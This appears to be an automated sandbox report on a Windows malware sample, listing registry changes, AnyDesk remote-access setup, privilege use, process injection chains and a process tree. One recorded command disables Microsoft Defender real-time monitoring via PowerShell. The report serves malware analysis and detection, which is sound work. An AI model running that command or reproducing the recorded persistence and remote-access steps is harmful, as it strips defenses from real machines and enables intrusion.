Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\MacroWebExplorer.exe = "11001"	~Ma4650.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION	~Ma4650.exe

Modifies data under HKEY_USERS 21 IoCs

Processes:

MSTask.exe~Ma4650.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	MSTask.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Internet Explorer	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Internet Explorer\MAIN	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Internet Explorer\Main\FeatureControl	~Ma4650.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MSTask.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MSTask.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Wow6432Node\Microsoft	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	~Ma4650.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\MacroWebExplorer.exe = "11001"	~Ma4650.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	MSTask.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Wow6432Node	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Wow6432Node\Microsoft\Internet Explorer	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Wow6432Node\Microsoft\Internet Explorer\MAIN	~Ma4650.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MSTask.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\MacroWebExplorer.exe = "11001"	~Ma4650.exe

Modifies registry class 63 IoCs

Processes:

SearchApp.exewsappz.exeComdriverSvc.exedc.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "2214"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "7710"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\bing.com\Total = "8382"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\bing.com\Total = "2848"	SearchApp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\shell\open\command\ = "\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" --play \"%1\""	wsappz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\DefaultIcon	wsappz.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\bing.com\Total = "173"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "8382"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\bing.com\Total = "2214"	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\MuiCache	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "2214"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "7394"	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\bing.com\Total = "10203"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "2848"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "7394"	SearchApp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\ = "URL:AnyDesk Protocol"	wsappz.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\EdpDomStorage	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DomStorageState	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\bing.com	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	SearchApp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk	wsappz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk	wsappz.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "2699"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "8382"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "10192"	SearchApp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\DefaultIcon\ = "AnyDesk.exe,0"	wsappz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\shell\open\command	wsappz.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Speech_OneCore\\Recognizers\\Tokens\\MS-1033-110-WINMO-DNN"	SearchApp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\shell\open\command\ = "\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" \"%1\""	wsappz.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\www.bing.com	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\bing.com\Total = "7710"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "140"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "10203"	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "140"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\bing.com\Total = "2699"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\bing.com\Total = "10192"	SearchApp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\DefaultIcon	wsappz.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\bing.com\Total = "140"	SearchApp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\shell	wsappz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\shell	wsappz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\shell\open	wsappz.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	SearchApp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\DefaultIcon\ = "\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\",0"	wsappz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\URL Protocol	wsappz.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\bing.com	SearchApp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\shell\open	wsappz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\shell\open\command	wsappz.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "173"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "173"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "2848"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\bing.com\Total = "7394"	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings	dc.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "2699"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "7710"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "10192"	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "10203"	SearchApp.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exeComdriverSvc.exewsappz.exepowershell.exeAnyDesk.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeRuntimeBroker.exeAnyDesk.exepowershell.exe

pid	process
4572	powershell.exe
4572	powershell.exe
4888	powershell.exe
4888	powershell.exe
4808	powershell.exe
4808	powershell.exe
4060	ComdriverSvc.exe
460	wsappz.exe
460	wsappz.exe
1476	powershell.exe
1476	powershell.exe
1476	powershell.exe
3560	AnyDesk.exe
3560	AnyDesk.exe
1440	powershell.exe
1440	powershell.exe
1588	powershell.exe
1588	powershell.exe
2104	powershell.exe
2104	powershell.exe
1120	powershell.exe
1120	powershell.exe
2848	powershell.exe
2848	powershell.exe
2124	powershell.exe
2124	powershell.exe
1720	powershell.exe
1720	powershell.exe
4948	powershell.exe
4948	powershell.exe
3936	powershell.exe
3936	powershell.exe
432	powershell.exe
432	powershell.exe
1512	powershell.exe
1512	powershell.exe
2060	powershell.exe
2060	powershell.exe
4992	powershell.exe
4992	powershell.exe
1588	powershell.exe
1588	powershell.exe
1440	powershell.exe
1440	powershell.exe
1120	powershell.exe
2104	powershell.exe
2848	powershell.exe
2124	powershell.exe
1720	powershell.exe
4948	powershell.exe
3936	powershell.exe
432	powershell.exe
1512	powershell.exe
2060	powershell.exe
4992	powershell.exe
5692	powershell.exe
5692	powershell.exe
5400	RuntimeBroker.exe
5400	RuntimeBroker.exe
5692	powershell.exe
5540	AnyDesk.exe
5540	AnyDesk.exe
5932	powershell.exe
5932	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

~Ma4650.exe

pid process

5720 ~Ma4650.exe
Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

668

pid	process
5720	~Ma4650.exe

pid	process
668

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exetaskkill.exetaskkill.exepowershell.exeComdriverSvc.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exetasklist.exeRuntimeBroker.exepowershell.exepowershell.exevssvc.exeApplicationsFrameHost.exepowershell.exetasklist.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	4572	powershell.exe
Token: SeDebugPrivilege	4888	powershell.exe
Token: SeDebugPrivilege	3844	taskkill.exe
Token: SeDebugPrivilege	3792	taskkill.exe
Token: SeDebugPrivilege	4808	powershell.exe
Token: SeDebugPrivilege	4060	ComdriverSvc.exe
Token: SeDebugPrivilege	1476	powershell.exe
Token: SeDebugPrivilege	1440	powershell.exe
Token: SeDebugPrivilege	1588	powershell.exe
Token: SeDebugPrivilege	2104	powershell.exe
Token: SeDebugPrivilege	1120	powershell.exe
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeDebugPrivilege	2124	powershell.exe
Token: SeDebugPrivilege	1720	powershell.exe
Token: SeDebugPrivilege	4948	powershell.exe
Token: SeDebugPrivilege	3936	powershell.exe
Token: SeDebugPrivilege	432	powershell.exe
Token: SeDebugPrivilege	1512	powershell.exe
Token: SeDebugPrivilege	2060	powershell.exe
Token: SeDebugPrivilege	4992	powershell.exe
Token: SeDebugPrivilege	5980	tasklist.exe
Token: SeDebugPrivilege	5400	RuntimeBroker.exe
Token: SeDebugPrivilege	5692	powershell.exe
Token: SeDebugPrivilege	5932	powershell.exe
Token: SeBackupPrivilege	5344	vssvc.exe
Token: SeRestorePrivilege	5344	vssvc.exe
Token: SeAuditPrivilege	5344	vssvc.exe
Token: SeLockMemoryPrivilege	5640	ApplicationsFrameHost.exe
Token: SeDebugPrivilege	1720	powershell.exe
Token: SeDebugPrivilege	6068	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3064	WMIC.exe
Token: SeSecurityPrivilege	3064	WMIC.exe
Token: SeTakeOwnershipPrivilege	3064	WMIC.exe
Token: SeLoadDriverPrivilege	3064	WMIC.exe
Token: SeSystemProfilePrivilege	3064	WMIC.exe
Token: SeSystemtimePrivilege	3064	WMIC.exe
Token: SeProfSingleProcessPrivilege	3064	WMIC.exe
Token: SeIncBasePriorityPrivilege	3064	WMIC.exe
Token: SeCreatePagefilePrivilege	3064	WMIC.exe
Token: SeBackupPrivilege	3064	WMIC.exe
Token: SeRestorePrivilege	3064	WMIC.exe
Token: SeShutdownPrivilege	3064	WMIC.exe
Token: SeDebugPrivilege	3064	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3064	WMIC.exe
Token: SeRemoteShutdownPrivilege	3064	WMIC.exe
Token: SeUndockPrivilege	3064	WMIC.exe
Token: SeManageVolumePrivilege	3064	WMIC.exe
Token: 33	3064	WMIC.exe
Token: 34	3064	WMIC.exe
Token: 35	3064	WMIC.exe
Token: 36	3064	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3064	WMIC.exe
Token: SeSecurityPrivilege	3064	WMIC.exe
Token: SeTakeOwnershipPrivilege	3064	WMIC.exe
Token: SeLoadDriverPrivilege	3064	WMIC.exe
Token: SeSystemProfilePrivilege	3064	WMIC.exe
Token: SeSystemtimePrivilege	3064	WMIC.exe
Token: SeProfSingleProcessPrivilege	3064	WMIC.exe
Token: SeIncBasePriorityPrivilege	3064	WMIC.exe
Token: SeCreatePagefilePrivilege	3064	WMIC.exe
Token: SeBackupPrivilege	3064	WMIC.exe
Token: SeRestorePrivilege	3064	WMIC.exe
Token: SeShutdownPrivilege	3064	WMIC.exe
Token: SeDebugPrivilege	3064	WMIC.exe

Suspicious use of FindShellTrayWindow 10 IoCs

Processes:

AnyDesk.exeIntelConfigService.exeSuperfetch.exeApplicationsFrameHost.exe

pid	process
5356	AnyDesk.exe
5356	AnyDesk.exe
5356	AnyDesk.exe
5984	IntelConfigService.exe
5984	IntelConfigService.exe
5984	IntelConfigService.exe
5012	Superfetch.exe
5012	Superfetch.exe
5012	Superfetch.exe
5640	ApplicationsFrameHost.exe

Suspicious use of SendNotifyMessage 3 IoCs

Processes:

AnyDesk.exe

pid process

5356 AnyDesk.exe
5356 AnyDesk.exe
5356 AnyDesk.exe
Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

1.exeSearchApp.exe~Ma4650.exe

pid process

4416 1.exe
1460 SearchApp.exe
5720 ~Ma4650.exe
5720 ~Ma4650.exe
5720 ~Ma4650.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

migrate.120.exedc.exeany.execmd.execmd.execmd.exenet.exenet.exenet.exeWScript.exe

description	pid	process	target process
PID 4976 wrote to memory of 4572	4976	migrate.120.exe	powershell.exe
PID 4976 wrote to memory of 4572	4976	migrate.120.exe	powershell.exe
PID 4976 wrote to memory of 4572	4976	migrate.120.exe	powershell.exe
PID 4976 wrote to memory of 4888	4976	migrate.120.exe	powershell.exe
PID 4976 wrote to memory of 4888	4976	migrate.120.exe	powershell.exe
PID 4976 wrote to memory of 4888	4976	migrate.120.exe	powershell.exe
PID 4976 wrote to memory of 4416	4976	migrate.120.exe	1.exe
PID 4976 wrote to memory of 4416	4976	migrate.120.exe	1.exe
PID 4976 wrote to memory of 4416	4976	migrate.120.exe	1.exe
PID 4976 wrote to memory of 4860	4976	migrate.120.exe	cmd.exe
PID 4976 wrote to memory of 4860	4976	migrate.120.exe	cmd.exe
PID 4976 wrote to memory of 4860	4976	migrate.120.exe	cmd.exe
PID 4976 wrote to memory of 1328	4976	migrate.120.exe	any.exe
PID 4976 wrote to memory of 1328	4976	migrate.120.exe	any.exe
PID 4976 wrote to memory of 1328	4976	migrate.120.exe	any.exe
PID 4976 wrote to memory of 4584	4976	migrate.120.exe	dc.exe
PID 4976 wrote to memory of 4584	4976	migrate.120.exe	dc.exe
PID 4976 wrote to memory of 4584	4976	migrate.120.exe	dc.exe
PID 4584 wrote to memory of 4692	4584	dc.exe	WScript.exe
PID 4584 wrote to memory of 4692	4584	dc.exe	WScript.exe
PID 4584 wrote to memory of 4692	4584	dc.exe	WScript.exe
PID 1328 wrote to memory of 1708	1328	any.exe	cmd.exe
PID 1328 wrote to memory of 1708	1328	any.exe	cmd.exe
PID 1328 wrote to memory of 1708	1328	any.exe	cmd.exe
PID 4860 wrote to memory of 1640	4860	cmd.exe	cmd.exe
PID 4860 wrote to memory of 1640	4860	cmd.exe	cmd.exe
PID 4860 wrote to memory of 1640	4860	cmd.exe	cmd.exe
PID 1708 wrote to memory of 3416	1708	cmd.exe	chcp.com
PID 1708 wrote to memory of 3416	1708	cmd.exe	chcp.com
PID 1708 wrote to memory of 3416	1708	cmd.exe	chcp.com
PID 1640 wrote to memory of 3752	1640	cmd.exe	chcp.com
PID 1640 wrote to memory of 3752	1640	cmd.exe	chcp.com
PID 1640 wrote to memory of 3752	1640	cmd.exe	chcp.com
PID 1640 wrote to memory of 4596	1640	cmd.exe	timeout.exe
PID 1640 wrote to memory of 4596	1640	cmd.exe	timeout.exe
PID 1640 wrote to memory of 4596	1640	cmd.exe	timeout.exe
PID 1708 wrote to memory of 3708	1708	cmd.exe	net.exe
PID 1708 wrote to memory of 3708	1708	cmd.exe	net.exe
PID 1708 wrote to memory of 3708	1708	cmd.exe	net.exe
PID 3708 wrote to memory of 1188	3708	net.exe	net1.exe
PID 3708 wrote to memory of 1188	3708	net.exe	net1.exe
PID 3708 wrote to memory of 1188	3708	net.exe	net1.exe
PID 1708 wrote to memory of 3500	1708	cmd.exe	net.exe
PID 1708 wrote to memory of 3500	1708	cmd.exe	net.exe
PID 1708 wrote to memory of 3500	1708	cmd.exe	net.exe
PID 3500 wrote to memory of 4772	3500	net.exe	net1.exe
PID 3500 wrote to memory of 4772	3500	net.exe	net1.exe
PID 3500 wrote to memory of 4772	3500	net.exe	net1.exe
PID 1708 wrote to memory of 3564	1708	cmd.exe	net.exe
PID 1708 wrote to memory of 3564	1708	cmd.exe	net.exe
PID 1708 wrote to memory of 3564	1708	cmd.exe	net.exe
PID 3564 wrote to memory of 3736	3564	net.exe	net1.exe
PID 3564 wrote to memory of 3736	3564	net.exe	net1.exe
PID 3564 wrote to memory of 3736	3564	net.exe	net1.exe
PID 1708 wrote to memory of 3844	1708	cmd.exe	taskkill.exe
PID 1708 wrote to memory of 3844	1708	cmd.exe	taskkill.exe
PID 1708 wrote to memory of 3844	1708	cmd.exe	taskkill.exe
PID 1708 wrote to memory of 3792	1708	cmd.exe	taskkill.exe
PID 1708 wrote to memory of 3792	1708	cmd.exe	taskkill.exe
PID 1708 wrote to memory of 3792	1708	cmd.exe	taskkill.exe
PID 1708 wrote to memory of 4808	1708	cmd.exe	powershell.exe
PID 1708 wrote to memory of 4808	1708	cmd.exe	powershell.exe
PID 1708 wrote to memory of 4808	1708	cmd.exe	powershell.exe
PID 4692 wrote to memory of 4408	4692	WScript.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\migrate.120.exe
"C:\Users\Admin\AppData\Local\Temp\migrate.120.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4976

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4572

